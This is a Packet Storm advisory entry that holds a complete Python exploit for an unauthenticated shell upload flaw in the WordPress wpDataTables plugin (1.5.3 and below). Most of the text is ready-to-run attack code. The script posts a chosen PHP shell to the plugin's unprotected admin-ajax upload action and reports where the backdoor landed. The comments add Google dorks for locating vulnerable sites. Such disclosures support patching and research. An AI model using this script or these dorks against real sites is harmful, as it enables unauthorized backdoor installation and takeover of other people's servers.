WordPress wpDataTables 1.5.3 Shell Upload

2014-11-23T00:00:00
ID PACKETSTORM:129231
Type packetstorm
Reporter Claudio Viviani
Modified 2014-11-23T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
#  
# Exploit Name: Wordpress wpDataTables 1.5.3 and below Unauthenticated Shell Upload Vulnerability  
#   
# Vulnerability discovered by Claudio Viviani  
#  
# Date : 2014-11-22  
#  
# Exploit written by Claudio Viviani  
#  
# Video Demo: https://www.youtube.com/watch?v=44m4VNpeEVc  
#  
# --------------------------------------------------------------------  
#  
# Issue n.1 (wpdatatables.php)  
#  
# This function is always available without wpdatatables edit permission:  
#  
# function wdt_upload_file(){  
# require_once(PDT_ROOT_PATH.'lib/upload/UploadHandler.php');  
# $uploadHandler = new UploadHandler();  
# exit();  
# }  
# ...  
# ...  
# ...  
# add_action( 'wp_ajax_wdt_upload_file', 'wdt_upload_file' );  
# add_action( 'wp_ajax_nopriv_wdt_upload_file', 'wdt_upload_file' );  
#   
#  
# Issue n.2 (lib/upload/UploadHandler.php)  
#  
# This php script allows you to upload any type of file  
#  
# ---------------------------------------------------------------------  
#  
# Dork google: inurl:/plugins/wpdatatables  
# inurl:codecanyon-3958969  
# index of "wpdatatables"  
# index of "codecanyon-3958969"  
#  
# Tested on BackBox 3.x  
#  
#  
# http connection  
import urllib, urllib2, sys, re  
# Args management  
import optparse  
# file management  
import os, os.path  
  
# Check url  
def checkurl(url):  
if url[:8] != "https://" and url[:7] != "http://":  
print('[X] You must insert http:// or https:// procotol')  
sys.exit(1)  
else:  
return url  
  
# Check if file exists and has readable  
def checkfile(file):  
if not os.path.isfile(file) and not os.access(file, os.R_OK):  
print '[X] '+file+' file is missing or not readable'  
sys.exit(1)  
else:  
return file  
  
# Create multipart header  
def create_body_sh3ll_upl04d(payloadname):  
  
getfields = dict()  
  
payloadcontent = open(payloadname).read()  
  
LIMIT = '----------lImIt_of_THE_fIle_eW_$'  
CRLF = '\r\n'  
  
L = []  
for (key, value) in getfields.items():  
L.append('--' + LIMIT)  
L.append('Content-Disposition: form-data; name="%s"' % key)  
L.append('')  
L.append(value)  
  
L.append('--' + LIMIT)  
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]', payloadname))  
L.append('Content-Type: application/force-download')  
L.append('')  
L.append(payloadcontent)  
L.append('--' + LIMIT + '--')  
L.append('')  
body = CRLF.join(L)  
return body  
  
banner = """  
___ ___ __   
| Y .-----.----.--| .-----.----.-----.-----.-----.   
|. | | _ | _| _ | _ | _| -__|__ --|__ --|   
|. / \ |_____|__| |_____| __|__| |_____|_____|_____|   
|: | |__|   
|::.|:. |   
`--- ---'   
___ ___ ______ __ _______ __ __   
| Y .-----| _ \ .---.-| |_.---.-| .---.-| |--| .-----.-----.   
|. | | _ |. | \| _ | _| _ |.| | | _ | _ | | -__|__ --|   
|. / \ | __|. | |___._|____|___._`-|. |-|___._|_____|__|_____|_____|   
|: |__| |: 1 / |: |   
|::.|:. | |::.. . / |::.|   
`--- ---' `------' `---'   
  
Sh311 Upl04d Vuln3r4b1l1ty   
<= 1.5.3  
  
Written by:  
  
Claudio Viviani  
  
http://www.homelab.it  
  
info@homelab.it  
homelabit@protonmail.ch  
  
https://www.facebook.com/homelabit  
https://twitter.com/homelabit  
https://plus.google.com/+HomelabIt1/  
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww  
"""  
  
commandList = optparse.OptionParser('usage: %prog -t URL -f FILENAME.PHP [--timeout sec]')  
commandList.add_option('-t', '--target', action="store",  
help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",  
)  
commandList.add_option('-f', '--file', action="store",  
help="Insert file name, ex: shell.php",  
)  
commandList.add_option('--timeout', action="store", default=10, type="int",  
help="[Timeout Value] - Default 10",  
)  
  
options, remainder = commandList.parse_args()  
  
# Check args  
if not options.target or not options.file:  
print(banner)  
commandList.print_help()  
sys.exit(1)  
  
payloadname = checkfile(options.file)  
host = checkurl(options.target)  
timeout = options.timeout  
  
print(banner)  
  
url_wpdatatab_upload = host+'/wp-admin/admin-ajax.php?action=wdt_upload_file'  
  
content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'  
  
bodyupload = create_body_sh3ll_upl04d(payloadname)  
  
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',  
'content-type': content_type,  
'content-length': str(len(bodyupload)) }  
  
try:  
req = urllib2.Request(url_wpdatatab_upload, bodyupload, headers)  
response = urllib2.urlopen(req)  
  
read = response.read()  
  
if "error" in read or read == "0":  
print("[X] Upload Failed :(")  
else:  
backdoor_location = re.compile('\"url\":\"(.*?)\",\"').search(read).group(1)  
print("[!] Shell Uploaded")  
print("[!] Location: "+backdoor_location.replace("\\",""))  
except urllib2.HTTPError as e:  
print("[X] Http Error: "+str(e))  
except urllib2.URLError as e:  
print("[X] Connection Error: "+str(e))  
`